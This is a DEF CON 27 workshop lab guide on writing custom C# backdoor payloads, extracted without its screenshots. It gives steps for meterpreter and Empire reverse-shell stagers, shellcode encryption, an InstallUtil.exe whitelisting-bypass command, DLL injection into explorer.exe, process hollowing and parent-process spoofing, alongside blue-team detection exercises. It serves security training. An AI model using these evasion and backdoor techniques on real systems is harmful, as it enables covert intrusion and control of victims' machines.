WritingCustomPayloads Defcon27 LabGuide
WritingCustomPayloads Defcon27 LabGuide
with C#
Presented by:
Let's set up our Windows VM where we will be doing all of our C# work. First, let’s disable
Windows Defender to avoid having issues with it.
Computer Configuration > Administrative Templates > Windows Components > Windows
Defender Antivirus
Note: When installing MinGW-W64, make sure you select Architecture of x86-64
- Once installed, launch Empire and setup a listener (listeners > uselistener meterpreter)
- listeners
- uselistener http
- info [review all the options]
- set Host https://[YOUR_IP]:443
- set Port 443
- execute
Defcon 27 - Writing custom backdoor payloads with C#
Final Step, ensure both VMs can communicate. This is an important requirement to develop the
labs. First, ensure they can ping each other.
To confirm they can properly communicate, and that the implants will be able to communicate to
the C2 server, setup a Web server using python’s SimpleHTTPServer from within your Kali
system by running: python -m SimpleHTTPServer and access it from the Windows system by
opening a browser and visiting http://[Kali_Ip]:8080
This confirms the Windows host is able to communicate to the Kali Linux over TCP. We are
ready!
Defcon 27 - Writing custom backdoor payloads with C#
Exercise 1
From within the Lab 1 directory, compile 1.cs using CSC by running:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe 1.cs
You should now see a new file in your directory, labeled 1.exe. Launch it and you should see
our message. Try changing the code on the source code and recompiling to print a different
message.
Exercise 2
Similar to the previous example, compile 2.cs and launch 2.exe. Change the MessageBox text
on the source code and try again to get a different message.
Defcon 27 - Writing custom backdoor payloads with C#
For example, let’s take a look at 1.exe with CFF explorer. Launch CFF Explorer and load 1.exe
by selecting Open and navigating to our newly created executable. Once the executable has
been loaded, select the Import Directory to see all of the programs Imports.
We can see that the only imported dll is mscoree.dll, which makes sense because that DLL
contains the .Net framework runtime.
Defcon 27 - Writing custom backdoor payloads with C#
Now let’s examine 2.exe with ProcMon. For this, we are going to use ProcMon to monitor the
behavior of 2.exe dynamically.
With ProcMon open and a filter set, we can identify when 2.exe loads the user32.dll library.
Defcon 27 - Writing custom backdoor payloads with C#
Within your Kali image, create a meterpreter reverse shell binary payload
Transfer the payload to your Windows system by opening up a SimpleHTTPServer just as you
did on the first Lab.
python -m SimpleHTTPServer
From the Windows box, using a web browser, connect Ip address of the Kali Linux on the
defined port (the default is 8000 ) and download the binary.
Defcon 27 - Writing custom backdoor payloads with C#
Before you execute your payload, setup a listener to catch your shell as shown before.
Defcon 27 - Writing custom backdoor payloads with C#
Once your listener is running, execute the payload on your Windows system and you should
obtain a shell.
Review the activity from your payload in one of our blue team tools. One interesting artifact are
the network connections you can review in Process Hacker
Defcon 27 - Writing custom backdoor payloads with C#
Msfvenom’s stager downloads the second stage from the C2 and executes it in memory. As we
want to create a custom stager, we need to identify the second stage’s URI. To do this, we will
start a Web Server on the same port as the metasploit listener to log incoming requests.
First, let’s generate a key and certificate with OpenSSL. This will be used to configure a
SimpleHTTPServer that operates over HTTPS.
You should now have an HTTPS-friendly web server listening on port 8080.
Now back to your Windows system, execute your payload again while running the web server to
capture the request of stage 2. You should see a URL appear in the log of the web server:
Note: If you see error “[Errno 98] Address already in use” You will have to stop the metasploit
listener for twistd to work.
Note: Your Windows VM will need internet access in order to fetch the content from google.
Defcon 27 - Writing custom backdoor payloads with C#
Copy the URL and paste it into the URL variable, within the Lab 2 folder, in 2.cs
Compile 2.cs and execute 2.exe. Don't forget to stop the twistd Web Server and start the
meterpreter listener again as shown above before executing your payload.
You should now have a shell, congratulations!
Defcon 27 - Writing custom backdoor payloads with C#
As you can see on the screenshot, the current binary keeps a console Window open which can
be easily spotted and closed by the victim.
Process Explorer shows the command & control network connections on port 8080.
Defcon 27 - Writing custom backdoor payloads with C#
On the Strings tab, we can identify the URL being used for the second stage.
As shown on the screenshot above, the payload opens a console window that will be visible to
the victim and easy to spot. Change the source code of Exercise 2 to hide the console using
Windows API calls.
Defcon 27 - Writing custom backdoor payloads with C#
And then from within the Lab 3 folder, replace the byte array variable with the one you just
generated with msfvenom (don’t forget to change the byte size). Then compile 1.cs and execute
1.exe.
Defcon 27 - Writing custom backdoor payloads with C#
Delete 1.exe
In 1.cs, replace the previous byte array variable once again. Make sure your metasploit listener
is active or start one again
- use exploit/multi/handler
- set payload windows/x64/meterpreter/reverse_https
- set LHOST YOUR_IP
- set LPORT 8080
Compile 1.cs again with your new shellcode embedded and execute 1.exe. You should have
gotten a shell, congratz!
Now for a blue team look. With your shell still active, open up Process Hacker and look for
1.exe. As you will see, the parent process is explorer.exe. For a security analyst analyzing
running processes, this binary will be easy to spot.
Defcon 27 - Writing custom backdoor payloads with C#
A great tool to use when analyzing .NET applications is dnSpy. Let’s decompile 1.exe and take
a look at what it gives us. Launch dnSpy and open 1.exe with File > Open. Then on the left hand
side, select Program. This would be incredibly helpful as an analyst responding to this!
Defcon 27 - Writing custom backdoor payloads with C#
Take some time to review the source code of 2.cs and compile it.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe 2.cs
Now, launch 2.exe, you should see a simple message display. Now for the bypass, we can
execute the following command to get InstallUtil.exe to run our assembly, instead of launching it
directly.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile=
/LogToConsole=false /U 2.exe
As you can see, we can abuse InstallUtil.exe and get it to run our code. This way we can
bypass application whitelisting technologies and look less suspicious to an analyst.
Modify Exercise 2’s source code to obtain a meterpreter shell by abusing InstallUtil.exe
Defcon 27 - Writing custom backdoor payloads with C#
Once complete, compile 1.cs and execute 1.exe but this time, do so from the command line.
After you execute 1.exe, you will see shellcode. Let’s copy and paste this into 2.cs (again,
remember the byte size).
Now prepare a listener within your Kali image to accept your shell.
Compile 2.cs and execute 2.exe. You should have gotten a shell, congratz!
Defcon 27 - Writing custom backdoor payloads with C#
Compile 3.cs and execute 3.exe from the command line. Again, you should see shellcode
displayed. This time, there will be two sets of shellcode generated. The first one is your
encrypted payload, the second is the base, raw payload.
Now copy this shellcode and paste it into the shellcode variable within 4.cs (notice the byte size
may have changed!)
Compile 4.cs and execute 4.exe. You should have gotten a shell, congratz!
Defcon 27 - Writing custom backdoor payloads with C#
For a blue team perspective, let’s open up 4.exe in dnSpy and try to identify the encrypted
shellcode. Similar to before, load the file and navigate to the Program section. There you should
see our decompiled program.
After some text scrolls by, you should see calculator spawn.
Note: You may have to go back to Lab 0 to learn how to set up an Empire listener.
Copy just the encoded shellcode portion (do not include powershell -noP -sta -w 1 -enc) and
paste it into the “String script” variable of 2.cs within the Lab 5 folder.
Compile 2.cs, including the /reference like we did in the last exercise and execute 2.exe. Check
back on your Empire session and you should have a shell, congratz! Feel free to run a few
PowerShell Empire commands
Finally, let’s take a look at this in Process Explorer. First, take a look at the process spawning
behavior of 2.exe. And with 2.exe selected and the Lower Pane view enabled (and looking at
DLLs), scroll down until you see some PowerShell references. Pretty interesting!
Defcon 27 - Writing custom backdoor payloads with C#
Once you execute 1.exe, you should be prompted to enter an ID. The Process ID (PID) can be
found at the end of each line. Enter any ID to continue. After you enter a PID, you will then see
all of the DLLs used by that Process. To confirm, let's open up Process Explorer.
Defcon 27 - Writing custom backdoor payloads with C#
In Process Explorer, ensure you are viewing DLLs for a given process by going to View and
checking “Show Lower Pane”. Once that is checked, go back to View > Lower Pane View and
check DLLs.
Highlight the same PID that you entered into the console and confirm the DLLs are the same.
Now let's examine what's happening with Process Hacker. In Process Hacker, find the PID you
just entered in the last step and double click it.
- Go to the Memory tab
- Click the “Strings” button
- Ensure the Minimum Length is 10
- At the next screen, click “Filter” > “Contains” and enter “AAA”
And you should see the AAA’s that we injected into that process!
Defcon 27 - Writing custom backdoor payloads with C#
Great, now we have a working DLL! Now for the final portion, change the directory on line 68 of
3.cs, within the Lab 6 folder to match the directory of your newly-compiled DLL.
Now let’s check something for fun. Remember how 1.exe from this lab listed all of the DLLs a
process used? Launch it on the same PID you just entered into 3.exe. One of those DLLs
should look awfully familiar!
Defcon 27 - Writing custom backdoor payloads with C#
Open up Process Hacker or Process Explorer and find your process. If you look at the DLLs
loaded, you should see our aMessageBox DLL!
Using the source code under the ShellcodeInjectionDll folder as a guide, create your own DLL
that provides a reverse meterpreter shell. Once you have that, modify Exercise 3 to identify
explorer.exe and inject the malicious DLL into its memory space without user interaction.
Defcon 27 - Writing custom backdoor payloads with C#
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe 1.cs
Open up Process Explorer and identify the process you selected (if you left default, the process
will be msiexec.exe)
The program you added to your code will be launched (if you left the default, don’t click OK in
the new window that pops up)
Follow the prompts provided by 2.exe and observe your process in Process Explorer. While on
a suspended state, try to try to interact with the graphical GUI. Can you do it ?
Defcon 27 - Writing custom backdoor payloads with C#
You should see the screen below, as well as an Explorer window popup. And if you check back
in Kali, you should also have a shell, congratz!
Using Process Explorer, you can see userinit.exe running our malicious code. How easy or
difficult would it be for a security analyst to determine if the process is malicious ?
Defcon 27 - Writing custom backdoor payloads with C#
Try changing the binary variable inside 2.cs and then analyze the results with Process Explorer
or Process Hacker. For example, after setting the binary to spawn notepad.exe and then
launching the payload with Process Explorer open, we can confirm the PID in which our shell
exists.
Within the Lab 8 folder, compile 1.cs and execute 1.exe, follow the prompts in your console.
After you have successfully launched notepad.exe under the PID you provided, open Process
Explorer and look for your Parent Process. You should see notepad.exe as a child of that.
Defcon 27 - Writing custom backdoor payloads with C#
Modify the source code of Exercise 1 to obtain a reverse shell using the parent process
spoofing technique. Use what you have learned on previous labs or exercises.